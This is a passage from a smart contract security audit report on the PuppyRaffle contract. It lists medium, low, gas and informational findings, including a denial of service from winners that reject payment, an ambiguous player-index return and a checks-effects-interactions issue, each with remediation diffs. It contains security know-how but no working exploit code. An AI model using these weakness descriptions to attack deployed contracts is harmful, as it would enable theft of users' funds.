11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a receive or fallback function will block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function would revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery duration is over.

Recommended Mitigation:

1. Do not allow smart contract wallet entrant (not recommended)
2. Create a mapping of address -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owner on the winner to claim their prize (recommended)

Low**[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing player at index 0 incorrectly think they have not entered the raffle**

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. According to natspec, it will also return 0 if the player is not in the array.

```
1  function getActivePlayerIndex(address player) external view returns
    (uint256) {
2      for (uint256 i = 0; i < players.length; i++) {
3          if (players[i] == player) {
4              return i;
5          }
6      }
7      return 0;
8  }
```

Impact: A player at index 0 incorrectly think they have not entered the raffle, and may attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(
7             players[i] != players[j],
8             "PuppyRaffle: Duplicate player"
9         );
10    }
11 }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```


[I-2] Using an outdated solidity version is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please check slither documentation for more information.

[I-3]: Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address (0)`.

- Found in src/PuppyRaffle.sol Line: 76

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 201

```
1 previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 227

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's better to keep code clean and follow Checks, Effects, Interactions (CEI).

```
1 + _safeMint(winner, tokenId);
2 (bool success, ) = winner.call{value: prizePool}("");
3 require(success, "PuppyRaffle: Failed to send prize pool to
  winner");
4 - _safeMint(winner, tokenId);
```

[I-5] Use of “magic” number is discouraged

It can be confusing to see number literals in a codebase, and it’s much more readable if the numbers are given a name.

Examples:

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
```

[I-6] PuppyRaffle::_isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -   function _isActivePlayer() internal view returns (bool) {
2 -       for (uint256 i = 0; i < players.length; i++) {
3 -           if (players[i] == msg.sender) {
4 -               return true;
5 -           }
6 -       }
7 -       return false;
8 -   }
```